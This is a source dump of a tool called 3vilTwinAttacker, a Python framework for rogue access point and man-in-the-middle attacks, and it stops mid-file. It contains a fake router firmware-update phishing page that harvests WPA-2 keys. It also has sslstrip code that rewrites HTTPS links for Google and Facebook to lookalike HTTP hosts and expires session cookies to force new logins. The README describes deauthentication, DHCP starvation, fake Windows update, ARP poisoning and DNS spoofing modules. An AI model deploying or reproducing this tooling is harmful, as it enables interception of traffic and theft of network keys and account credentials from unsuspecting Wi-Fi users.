#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 13 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 14 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 15 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 16 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 17 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 18 | from sys import argv,exit 19 | from os import getuid 20 | from PyQt4.QtGui import QApplication,QIcon 21 | from Core.Privilege import frm_privelege 22 | from Core.Main import Initialize 23 | from Core.check import check_dependencies 24 | from Modules.utils import Refactor 25 | 26 | def ExecRootApp(): 27 | check_dependencies() 28 | root = QApplication(argv) 29 | app = Initialize() 30 | app.setWindowIcon(QIcon('rsc/icon.ico')) 31 | app.center(),app.show() 32 | exit(root.exec_()) 33 | 34 | if __name__ == '__main__': 35 | if not getuid() == 0: 36 | app2 = QApplication(argv) 37 | priv = frm_privelege() 38 | priv.setWindowIcon(QIcon('rsc/icon.ico')) 39 | priv.show(),app2.exec_() 40 | exit(Refactor.threadRoot(priv.Editpassword.text())) 41 | ExecRootApp() -------------------------------------------------------------------------------- /Core/Privilege.py: -------------------------------------------------------------------------------- 1 | from PyQt4.QtGui import * 2 | from subprocess import Popen, PIPE 3 | from Core.Settings import frm_Settings 4 | from os import popen 5 | from re import search 6 | import getpass 7 | 8 | class frm_privelege(QDialog): 9 | def __init__(self, parent = None): 10 | super(frm_privelege, self).__init__(parent) 11 | self.setWindowTitle("Privilege Authentication") 12 | self.Main = QVBoxLayout() 13 | self.frm = QFormLayout() 14 | self.setGeometry(0, 0, 270, 100) 15 | self.center() 16 | self.config = frm_Settings() 17 | self.loadtheme(self.config.XmlThemeSelected()) 18 | self.Qui() 19 | def loadtheme(self,theme): 20 | sshFile=("Core/%s.qss"%(theme)) 21 | with open(sshFile,"r") as fh: 22 | self.setStyleSheet(fh.read()) 23 | 24 | def center(self): 25 | frameGm = self.frameGeometry() 26 | centerPoint = QDesktopWidget().availableGeometry().center() 27 | frameGm.moveCenter(centerPoint) 28 | self.move(frameGm.topLeft()) 29 | 30 | def Qui(self): 31 | self.user = QComboBox() 32 | self.user.addItem(getpass.getuser()) 33 | self.btn_cancel = QPushButton("Cancel") 34 | self.btn_ok = QPushButton("Ok") 35 | self.Editpassword = QLineEdit(self) 36 | self.Editpassword.setFocus() 37 | #temporary 38 | 39 | self.Editpassword.setEchoMode(QLineEdit.Password) 40 | self.btn_cancel.clicked.connect(self.close) 41 | self.btn_ok.clicked.connect(self.function_ok) 42 | self.btn_ok.setDefault(True) 43 | self.frm.addRow("User:", self.user) 44 | self.frm.addRow("Password:", self.Editpassword) 45 | self.grid = QGridLayout() 46 | self.grid.addWidget(self.btn_cancel, 1,2) 47 | self.grid.addWidget(self.btn_ok, 1,3) 48 | self.Main.addLayout(self.frm) 49 | self.Main.addLayout(self.grid) 50 | self.setLayout(self.Main) 51 | 52 | def function_ok(self): 53 | self.hide() 54 | out = self.thread(str(self.Editpassword.text())) 55 | if search("1 incorrect password attemp",out): 56 | QMessageBox.information(self, "Sudo Password check", 57 | "[sudo] password for %s: Sorry, try again."%(getpass.getuser())) 58 | self.show() 59 | self.Editpassword.clear() 60 | return 61 | self.close() 62 | 63 | def thread(self,sudo_password): 64 | popen("sudo -k") 65 | p = Popen(['sudo', '-S','|','ls'], stdin=PIPE, stderr=PIPE, 66 | universal_newlines=True) 67 | output = p.communicate(str(sudo_password) + '\n')[1] 68 | return output -------------------------------------------------------------------------------- /Modules/Phishing/Route/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Update Router 4.17.11 Build 110419 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 17 | 18 |
19 | 20 |

 

21 |

Wireless Network Firmware Update:

22 |

            23 | For your security, enter your WPA-2 Key in order to access the internet.

24 | 25 | 26 |
27 |
28 |

WPA-2 Key:                  WPA-2 Key (confirm):

29 | 30 | 31 | 32 |
33 |

Instructions Update:

34 |

            35 | To upgrade the Router's firmware, follow these instructions:

36 |

            37 | 1 - Entre with password the access point network.
38 |             2 - Press Enter. 39 |

40 | 41 | 42 |

Firmware Help:

43 |

            44 | Firmware Version - Displays the current firmware version 45 | Hardware Version - Displays the current hardware version. The hardware version of the upgrade file must accord with the current hardware version.

46 | Note: The firmware version must correspond to the hardware. The upgrade process takes a few moments and the Router restarts automatically when the upgrade is complete. It is important to keep power applied during the entire process. Loss of power during the upgrade could damage the Router.

47 |

            48 | Firmware Version: 4.17.11 Build 110419 Rel.63487n. 49 |

50 | 51 |
52 |
53 | 54 |
55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 3vilTwinAttacker v0.6.4 2 | Framework for EvilTwin Attacks 3 | ![Tool Home](https://dl.dropboxusercontent.com/u/97321327/evil/evil6.4.png) 4 | ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) 5 | ![Linux OS](https://img.shields.io/badge/Supported%20OS-Linux-green.svg) 6 | ![Release](https://img.shields.io/badge/3vilTwinAttacker-0.6.4%20-orange.svg) 7 | ![MIT License](https://img.shields.io/packagist/l/doctrine/orm.svg) 8 | 9 | ###Description 10 | 3vilTwinAttacker is security tool that provide the Rogue access point to Man-In-The-Middle and network attacks. purporting to provide wireless Internet services, but snooping on the traffic. can be used to capture of credentials of unsuspecting users by either snooping the communication by phishing. 11 | 12 | ### dependencies: 13 | * Python-scapy 14 | * Python-nmap (optional) 15 | * BeautifulSoup 16 | * isc-dhcp-server 17 | 18 | #### How to install on Ubuntu or Kali 2.0 19 | ```sh 20 | $ git clone https://github.com/P0cL4bs/3vilTwinAttacker.git 21 | $ cd 3vilTwinAttacker 22 | $ sudo chmod +x installer.sh 23 | $ sudo ./installer.sh --install 24 | ``` 25 | #### install DHCP in Debian-based 26 | 27 | ##### Ubuntu 28 | 29 | ```sh 30 | $ sudo apt-get install isc-dhcp-server 31 | ``` 32 | 33 | ##### Kali 2.0 34 | ----script .sh---- 35 | ```sh 36 | check_arch=$(uname -m) 37 | if [ "$check_arch" = "i686" ]; then 38 | wget http://http.kali.org/kali/pool/main/i/isc-dhcp/isc-dhcp-server_4.3.1-6_i386.deb 39 | dpkg -i isc-dhcp-server_4.3.1-6_i386.deb 40 | elif [ "$check_arch" = "x86_64" ]; then 41 | wget http://http.kali.org/kali/pool/main/i/isc-dhcp/isc-dhcp-server_4.3.1-6_amd64.deb 42 | dpkg -i isc-dhcp-server_4.3.1-6_amd64.deb 43 | fi 44 | ``` 45 | 46 | #### install DHCP in redhat-based 47 | 48 | ##### Fedora 49 | 50 | ```sh 51 | $ sudo yum install dhcp 52 | ``` 53 | ##### Blackarch or Arch Assault and Arch Linux 54 | ```sh 55 | $ sudo pacman -S dhcp 56 | ``` 57 | ### Tools 58 | 59 | - Ettercap: Start ettercap attack in host connected AP fake Capturing login credentials. 60 | 61 | - Driftnet: The driftnet sniffs and decodes any JPEG TCP sessions, then displays in an window. 62 | 63 | ### Modules 64 | * Deauth Attack: kill all devices connected in AP (wireless network) or the attacker can Also put the Mac-address in the Client field, Then only one client disconnects the access point. 65 | 66 | * Probe Request: Probe request capture the clients trying to connect to AP,Probe requests can be sent by anyone with a legitimate Media Access Control (MAC) address, as association to the network is not required at this stage. 67 | 68 | * Mac Changer: you can now easily spoof the MAC address. With a few clicks, users will be able to change their MAC addresses. 69 | 70 | * DHCP Starvation Attack: this module DHCP Starvation can be classified as a Denial of Service attack. is an attack that works by broadcasting vast numbers of DHCP requests with spoofed MAC addresses simultaneously. 71 | 72 | * Windows Update Attack: this module is an attack DNS spoof que generate an update the page fake Windows, causing the victim to download a fake file update. 73 | 74 | * ARP Posion Attack: change tables ARPspoof the target and redirect all request tcp to ip attacker. 75 | 76 | * DNS Spoof Attack: this module DNS spoofing is the making change in hostname ip-address table, this table tells the route will be that DNS address for that particular IP address, thus changing the address of this table we can redirect wherever we want. 77 | 78 | 79 | -------------------------------------------------------------------------------- /Core/about.py: -------------------------------------------------------------------------------- 1 | from PyQt4.QtGui import * 2 | from Core.Settings import frm_Settings 3 | class frmAbout(QDialog): 4 | def __init__(self,author,emails,version, 5 | date_create,update,license,desc, parent = None): 6 | super(frmAbout, self).__init__(parent) 7 | self.author = author 8 | self.emails = emails 9 | self.version = version 10 | self.date_create = date_create 11 | self.update = update 12 | self.license = license 13 | self.desc = desc 14 | self.setWindowTitle("About 3vilTwinAttacker") 15 | self.Main = QVBoxLayout() 16 | self.frm = QFormLayout() 17 | self.setGeometry(0, 0, 400, 300) 18 | self.center() 19 | self.config = frm_Settings() 20 | self.loadtheme(self.config.XmlThemeSelected()) 21 | self.Qui_update() 22 | 23 | def loadtheme(self,theme): 24 | sshFile=("Core/%s.qss"%(theme)) 25 | with open(sshFile,"r") as fh: 26 | self.setStyleSheet(fh.read()) 27 | 28 | def center(self): 29 | frameGm = self.frameGeometry() 30 | centerPoint = QDesktopWidget().availableGeometry().center() 31 | frameGm.moveCenter(centerPoint) 32 | self.move(frameGm.topLeft()) 33 | 34 | def Qui_update(self): 35 | self.form = QFormLayout(self) 36 | self.btn_exit = QPushButton("Close") 37 | self.licenseEdit = QTextEdit(self) 38 | self.licenseEdit.setFixedHeight(150) 39 | self.licenseEdit.setText( 40 | '''The MIT License (MIT) 41 | Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 42 | Permission is hereby granted, free of charge, to any person obtaining a copy of 43 | this software and associated documentation files (the "Software"), to deal in 44 | the Software without restriction, including without limitation the rights to 45 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 46 | the Software, and to permit persons to whom the Software is furnished to do so, 47 | subject to the following conditions: 48 | The above copyright notice and this permission notice shall be included in all 49 | copies or substantial portions of the Software. 50 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 51 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 52 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 53 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 54 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 55 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.''' 56 | ) 57 | ltool = QLabel('
3vilTwin-Attacker v%s
'%(self.version)) 58 | ldesc = QLabel('
'+self.desc[0]+'
') 59 | lversion = QLabel('Version:'+self.version) 60 | lupdate = QLabel('Last Update:'+self.update) 61 | lautor = QLabel('author:'+self.author) 62 | lemail = QLabel('Emails:'+self.emails[0] +" | "+self.emails[1]) 63 | licese = QLabel('License:'+self.license) 64 | self.form.addRow(ltool) 65 | self.form.addRow(ldesc) 66 | self.form.addRow(lversion) 67 | self.form.addRow(lupdate) 68 | self.form.addRow(lautor) 69 | self.form.addRow(lemail) 70 | self.form.addRow(licese) 71 | self.form.addRow(self.licenseEdit) 72 | self.btn_exit.clicked.connect(self.deleteLater) 73 | self.form.addRow(self.btn_exit) 74 | self.Main.addLayout(self.form) 75 | self.setLayout(self.Main) 76 | -------------------------------------------------------------------------------- /Modules/ModuleMacchanger.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from re import search 20 | from os import geteuid,popen 21 | from subprocess import Popen,PIPE 22 | from Core.Settings import frm_Settings 23 | from Modules.utils import Refactor 24 | import subprocess 25 | import random 26 | class frm_mac_changer(QMainWindow): 27 | def __init__(self, parent=None): 28 | super(frm_mac_changer, self).__init__(parent) 29 | self.form_widget = frm_mac_generator(self) 30 | self.setCentralWidget(self.form_widget) 31 | 32 | class frm_mac_generator(QWidget): 33 | def __init__(self, parent=None): 34 | super(frm_mac_generator, self).__init__(parent) 35 | self.setWindowIcon(QIcon('rsc/icon.ico')) 36 | self.setWindowIcon(QIcon('Modules/icon.ico')) 37 | self.setWindowTitle("MAC Address Generator") 38 | self.Main = QVBoxLayout() 39 | self.prefix = [ 0x00, 0xCB, 0x01,0x03 ,\ 40 | 0x84,0x78,0xAC, 0x88,0xD3,\ 41 | 0x7B, 0x8C,0x7C,0xB5, 0x90,0x99,0x16, \ 42 | 0x9C, 0x6A ,0xBE , 0x55, 0x12, 0x6C , 0xD2,\ 43 | 0x8b, 0xDA, 0xF1, 0x9c , 0x20 , 0x3A, 0x4A,\ 44 | 0x2F, 0x31, 0x32, 0x1D, 0x5F, 0x70, 0x5A,\ 45 | 0x5B, 0x5C, 0x63, 0x4F, 0x3F, 0x5F, 0x9E] 46 | 47 | self.config = frm_Settings() 48 | self.loadtheme(self.config.XmlThemeSelected()) 49 | self.MacGUI() 50 | 51 | def loadtheme(self,theme): 52 | sshFile=("Core/%s.qss"%(theme)) 53 | with open(sshFile,"r") as fh: 54 | self.setStyleSheet(fh.read()) 55 | 56 | @pyqtSlot(QModelIndex) 57 | def combo_clicked(self, device): 58 | if device == "": 59 | self.i_mac.setText('Not Found') 60 | else: 61 | self.i_mac.setText(Refactor.get_interface_mac(device)) 62 | 63 | def action_btn_random(self): 64 | mac = Refactor.randomMacAddress([random.choice(self.prefix) , random.choice(self.prefix) , random.choice(self.prefix)]) 65 | self.i_mac.setText(mac) 66 | 67 | def setMAC(self,device,mac): 68 | subprocess.check_call(["ifconfig",device, "up"]) 69 | subprocess.check_call(["ifconfig",device, "hw", "ether",mac]) 70 | 71 | def change_macaddress(self): 72 | if not geteuid() == 0: 73 | QMessageBox.information(self, "Permission Denied", 'Tool must be run as root try again.') 74 | else: 75 | self.setMAC(self.combo_card.currentText(), self.i_mac.text()) 76 | self.deleteLater() 77 | 78 | def MacGUI(self): 79 | self.form_mac = QFormLayout() 80 | self.i_mac = QLineEdit(self) 81 | self.combo_card = QComboBox(self) 82 | self.btn_random = QPushButton("Random MAC") 83 | self.btn_random.setIcon(QIcon("rsc/refresh.png")) 84 | self.btn_save = QPushButton("Save") 85 | self.btn_save.setIcon(QIcon("rsc/Save.png")) 86 | self.btn_save.clicked.connect(self.change_macaddress) 87 | self.btn_random.clicked.connect(self.action_btn_random) 88 | self.cards = Refactor.get_interfaces()['all'] 89 | self.combo_card.addItems(self.cards) 90 | self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) 91 | self.form_mac.addRow(self.combo_card,self.i_mac) 92 | self.form_mac.addRow("MAC Random: ", self.btn_random) 93 | self.form_mac.addRow(self.btn_save) 94 | self.Main.addLayout(self.form_mac) 95 | self.setLayout(self.Main) 96 | 97 | -------------------------------------------------------------------------------- /Plugins/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # URLMonitor 2 | 3 | import re 4 | import logging 5 | 6 | class URLMonitor: 7 | 8 | ''' 9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 10 | server is expecting over SSL. It also keeps track of secure favicon urls. 11 | ''' 12 | 13 | # Start the arms race, and end up here... 14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 15 | _instance = None 16 | sustitucion = {} # LEO: diccionario host / sustitucion 17 | real = {} # LEO: diccionario host / real 18 | patchDict = { 19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 20 | 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', 21 | 'return"https:"':'return"http:"' 22 | } 23 | 24 | def __init__(self): 25 | self.strippedURLs = set() 26 | self.strippedURLPorts = {} 27 | self.faviconReplacement = False 28 | self.sustitucion["mail.google.com"] = "gmail.google.com" 29 | self.real["gmail.google.com"] = "mail.google.com" 30 | 31 | self.sustitucion["www.facebook.com"] = "social.facebook.com" 32 | self.real["social.facebook.com"] = "www.facebook.com" 33 | 34 | self.sustitucion["accounts.google.com"] = "cuentas.google.com" 35 | self.real["cuentas.google.com"] = "accounts.google.com" 36 | 37 | self.sustitucion["accounts.google.es"] = "cuentas.google.es" 38 | self.real["cuentas.google.es"] = "accounts.google.es" 39 | 40 | 41 | def isSecureLink(self, client, url): 42 | for expression in URLMonitor.javascriptTrickery: 43 | if (re.match(expression, url)): 44 | logging.debug("JavaScript trickery!") 45 | return True 46 | 47 | if (client, url) in self.strippedURLs: 48 | logging.debug("(%s, %s) in strippedURLs" % (client, url)) 49 | return (client,url) in self.strippedURLs 50 | 51 | def getSecurePort(self, client, url): 52 | if (client,url) in self.strippedURLs: 53 | return self.strippedURLPorts[(client,url)] 54 | else: 55 | return 443 56 | 57 | def addSecureLink(self, client, url): 58 | methodIndex = url.find("//") + 2 59 | method = url[0:methodIndex] 60 | pathIndex = url.find("/", methodIndex) 61 | 62 | if pathIndex is -1: 63 | pathIndex = len(url) 64 | url += "/" 65 | 66 | host = url[methodIndex:pathIndex].lower() 67 | path = url[pathIndex:] 68 | 69 | port = 443 70 | portIndex = host.find(":") 71 | 72 | if (portIndex != -1): 73 | host = host[0:portIndex] 74 | port = host[portIndex+1:] 75 | if len(port) == 0: 76 | port = 443 77 | 78 | #LEO: Sustituir HOST 79 | if not self.sustitucion.has_key(host): 80 | lhost = host[:4] 81 | if lhost=="www.": 82 | self.sustitucion[host] = "w"+host 83 | self.real["w"+host] = host 84 | else: 85 | self.sustitucion[host] = "web"+host 86 | self.real["web"+host] = host 87 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) 88 | 89 | url = 'http://' + host + path 90 | #logging.debug("LEO stripped URL: %s %s"%(client, url)) 91 | 92 | self.strippedURLs.add((client, url)) 93 | self.strippedURLPorts[(client, url)] = int(port) 94 | return 'http://'+self.sustitucion[host]+path 95 | 96 | def setFaviconSpoofing(self, faviconSpoofing): 97 | self.faviconSpoofing = faviconSpoofing 98 | 99 | def isFaviconSpoofing(self): 100 | return self.faviconSpoofing 101 | 102 | def isSecureFavicon(self, client, url): 103 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 104 | 105 | def URLgetRealHost(self,host): 106 | logging.debug("Parsing host: %s"%host) 107 | if self.real.has_key(host): 108 | logging.debug("New host: %s"%self.real[host]) 109 | return self.real[host] 110 | else: 111 | logging.debug("New host: %s"%host) 112 | return host 113 | 114 | def getInstance(): 115 | if URLMonitor._instance == None: 116 | URLMonitor._instance = URLMonitor() 117 | 118 | return URLMonitor._instance 119 | 120 | getInstance = staticmethod(getInstance) 121 | -------------------------------------------------------------------------------- /Modules/ModuleProbeRequest.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from re import search 19 | from os import system,geteuid,getuid,popen 20 | from Core.Settings import frm_Settings 21 | from Modules.utils import Refactor,set_monitor_mode 22 | from subprocess import Popen,PIPE 23 | from scapy.all import * 24 | 25 | 26 | class frm_Probe(QMainWindow): 27 | def __init__(self, parent=None): 28 | super(frm_Probe, self).__init__(parent) 29 | self.form_widget = frm_PMonitor(self) 30 | self.setCentralWidget(self.form_widget) 31 | self.setWindowIcon(QIcon('rsc/icon.ico')) 32 | 33 | class frm_PMonitor(QWidget): 34 | def __init__(self, parent=None): 35 | super(frm_PMonitor, self).__init__(parent) 36 | self.Main = QVBoxLayout() 37 | self.setWindowTitle("Probe Request wifi Monitor") 38 | self.setWindowIcon(QIcon('rsc/icon.ico')) 39 | self.config = frm_Settings() 40 | self.interface = str(self.config.xmlSettings("interface", "monitor_mode", None, False)) 41 | self.loadtheme(self.config.XmlThemeSelected()) 42 | self.setupGUI() 43 | 44 | def loadtheme(self,theme): 45 | sshFile=("Core/%s.qss"%(theme)) 46 | with open(sshFile,"r") as fh: 47 | self.setStyleSheet(fh.read()) 48 | 49 | def setupGUI(self): 50 | self.form0 = QFormLayout() 51 | self.list_probe = QListWidget() 52 | self.list_probe.setFixedHeight(300) 53 | self.btn_scan = QPushButton("Scan") 54 | self.btn_scan.clicked.connect(self.Pro_request) 55 | self.btn_scan.setIcon(QIcon("rsc/network.png")) 56 | self.get_placa = QComboBox(self) 57 | n = Refactor.get_interfaces()['all'] 58 | for i,j in enumerate(n): 59 | if search("wlan", j): 60 | self.get_placa.addItem(n[i]) 61 | 62 | self.time_scan = QComboBox(self) 63 | self.time_scan.addItems(["10s","20s","30s"]) 64 | 65 | self.form0.addRow("Network Adapter: ", self.get_placa) 66 | self.form0.addRow(self.list_probe) 67 | self.form0.addRow("Time Scan: ", self.time_scan) 68 | self.form1 = QFormLayout() 69 | self.form1.addRow(self.btn_scan) 70 | self.Main.addLayout(self.form0) 71 | self.Main.addLayout(self.form1) 72 | 73 | self.setLayout(self.Main) 74 | def Pro_request(self): 75 | self.time_control = None 76 | if self.time_scan.currentText() == "10s":self.time_control = 300 77 | elif self.time_scan.currentText() == "20s":self.time_control = 400 78 | elif self.time_scan.currentText() == "30s":self.time_control = 600 79 | if self.get_placa.currentText() == "": 80 | QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') 81 | return 82 | out = popen('iwconfig').readlines() 83 | for i in out: 84 | if search('Mode:Monitor', i): 85 | self.interface = i.split()[0] 86 | sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control) 87 | return 88 | set_monitor_mode(self.get_placa.currentText()).setEnable() 89 | sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control) 90 | 91 | def sniff_probe(self,p): 92 | if (p.haslayer(Dot11ProbeReq)): 93 | mac_address=(p.addr2) 94 | ssid=p[Dot11Elt].info 95 | ssid=ssid.decode('utf-8','ignore') 96 | if ssid == "":ssid="null" 97 | self.list_probe.addItem("[:] Probe Request from %s for SSID '%s'" %(mac_address,ssid)) -------------------------------------------------------------------------------- /Plugins/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /Modules/ModuleStarvation.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from scapy.all import * 20 | from os import system,popen,getegid 21 | from Core.Settings import frm_Settings 22 | from Modules.utils import Refactor 23 | import time 24 | 25 | class ThreadAttackStar(QThread): 26 | def __init__(self,interface): 27 | QThread.__init__(self) 28 | self.interface = interface 29 | self.process = True 30 | 31 | def 